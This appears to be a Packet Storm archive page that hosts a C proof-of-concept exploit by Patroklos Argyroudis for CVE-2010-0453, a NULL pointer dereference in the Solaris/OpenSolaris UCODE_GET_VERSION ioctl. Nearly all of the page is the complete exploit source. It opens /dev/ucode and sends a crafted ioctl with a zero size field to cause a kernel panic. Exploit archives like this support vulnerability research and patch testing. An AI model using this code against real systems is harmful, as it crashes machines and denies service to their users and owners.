what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Solaris / OpenSolaris UCODE_GET_VERSION ioctl Denial Of Service

Solaris / OpenSolaris UCODE_GET_VERSION ioctl Denial Of Service
Posted Feb 9, 2010
Authored by Tobias Klein | Site trapkit.de

This is a denial of service (kernel panic) proof of concept exploit for the UCODE_GET_VERSION ioctl NULL pointer dereference vulnerability on Solaris / OpenSolaris.

tags | exploit, denial of service, kernel, proof of concept
systems | solaris
advisories | CVE-2010-0453
SHA-256 | 0bb0ba7efbaa3375e563e5bdee9caa226403113256a518e9673c3e85f5d0a27d

Solaris / OpenSolaris UCODE_GET_VERSION ioctl Denial Of Service

Change Mirror Download
/*
* cve-2010-0453.c -- Patroklos Argyroudis, argp at domain census-labs.com
*
* Denial of service (kernel panic) PoC exploit for the UCODE_GET_VERSION
* ioctl NULL pointer dereference vulnerability on Solaris/OpenSolaris:
*
* http://www.trapkit.de/advisories/TKADV2010-001.txt
* http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-0453
*
* Greets to Tobias Klein for discovering the vulnerability and for his
* detailed (as always) advisory.
*
* $Id: cve-2010-0453.c,v 35da14215c84 2010/02/07 19:15:13 argp $
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stropts.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define BUF_SIZE 64
#define UCODE_DEV "/dev/ucode"

#define UCODE_IOC (('u' << 24) | ('c' << 16) | ('o' << 8))
#define UCODE_GET_VERSION (UCODE_IOC | 0)

typedef enum ucode_errno
{
EM_OK,
EM_FILESIZE,
EM_OPENFILE,
EM_FILEFORMAT,
EM_HEADER,
EM_CHECKSUM,
EM_INVALIDARG,
EM_NOMATCH,
EM_HIGHERREV,
EM_NOTSUP,
EM_UPDATE,
EM_SYS,
EM_NOVENDOR,
EM_NOMEM
} ucode_errno_t;

struct ucode_get_rev_struct
{
uint32_t *ugv_rev;
int ugv_size;
ucode_errno_t ugv_errno;
};

int
main()
{
int fd, ret;
uint32_t buf[BUF_SIZE];
struct ucode_get_rev_struct in_h;

memset(buf, 0x41, BUF_SIZE);

in_h.ugv_rev = buf;
in_h.ugv_size = 0;

fd = open(UCODE_DEV, O_RDONLY);
ret = ioctl(fd, UCODE_GET_VERSION, &in_h);

printf("[+] ret = %d\n", ret);
printf("[+] ugv_errno = %d\n", in_h.ugv_errno);

close(fd);
return ret;
}

/* EOF */
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close